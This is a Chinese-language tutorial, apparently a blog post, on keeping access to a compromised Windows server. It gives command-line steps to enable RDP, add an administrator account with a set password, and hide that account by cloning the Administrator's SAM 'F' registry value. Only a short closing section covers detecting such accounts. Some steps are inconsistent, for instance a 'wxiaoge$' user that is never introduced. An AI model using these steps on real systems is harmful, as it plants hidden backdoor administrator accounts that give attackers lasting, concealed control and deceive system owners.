系统隐藏账户是一种最为简单有效的权限维持方式,其做法就是让攻击者创建一个新的具有管理员权限的隐藏账户,因为是隐藏账户,所以防守方是无法通过控制面板或命令行看到这个账户的。
自然我们需要一些前提条件,比如说有一个网站,我们获得了getshell,如果他是windows系统,我们以及拿到了administrator权限,那么我们可以使用如下的方式来进行一个后门的走。
环境模拟准备
vm,windows_server2012准备一个存在漏洞的网站
物理机攻击此网站获取osshell权限
第一步开启远程连接!
# 1.设置远程桌面端口(详细指定具体的端口,也可以不输入默认开启3389端口。)
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
# 2.开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#检查端口状态
netstat -an|find "3389"
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
添加一个用户
net user admin123 Admin654 /add
添加用户
net localgroup administrators admin123 /add
把用户添加至组
net user
可查看当前用户
net localgroup "Remote Desktop Users" admin123 /add
添加至允许远程连接
net localgroup "Remote Desktop Users"
查看允许远程连接的用户
使用远程连接连接计算机,若是遇到如下问题,可参考文献
通过远程桌面连接Windows实例时出现错误提示时的解决方案_云服务器 ECS(ECS)-阿里云帮助中心
出现身份验证错误。要求的函数不受支持
远程计算机:192.168.146.134这可能是由于 CredSSP 加密数据库修正若要了解详细信息,请访问 https://go,microsoft,com/fwlink/?linkid=866660
这样添加的用户,可以使用net user查看,或者在用户页面查看,或lusrmgr.msc本地用户和组中都可以看到
第二步隐藏用户
我们这里使用修改注册表编辑器的方式来隐藏用户输入regedt32打开注册表编辑器,并找到HKEY_LOCAL_MACHINE\SAM\SAM,点击右键,选择"权限"
将Administrator用户的权限,设置成"完全控制"
重新打开注册表,确保可以看到SAM路径下的文件
2.2.5 其次前往SAM/Domains/Account/Users/Names处,选择Administrator用户,在右侧的键值处可以找到对应的值如0x1f4,然后从左侧的Users目录下可以找到对应的文件
然后从对应的000001F4文件中将键值对F的值复制出来。然后同理找到隐藏账户admin123所对的文件,并将从Administrator文件中复制出来的F值粘贴进admin123文件中。
2.2.7最后将admin123和0x3f0从注册表中右键导出,并删除wxiaoge$用户,然后将刚刚导出的两个文件重新导入进注册表中即可实现wxiaoge用户的隐藏。
导出使用右键,删除用户使用cmd net user admin123 /del
此时此账户在net user 和用户管理以及用户和组中均不可见,也就是说只能在注册表编辑器中找到
额外之应急响应
将HKEY_LOCAL_MACHINE\SA\SAM\Domains\Account\Users\Names与管理工具-》计算机管理-》本地用户和组-》用户相互对比,不存在的用户即为后门用户删除即可,删除时应对于删除。
另外当隐藏之后无法远程登录的解决办法参考以下文献,或自行网上搜索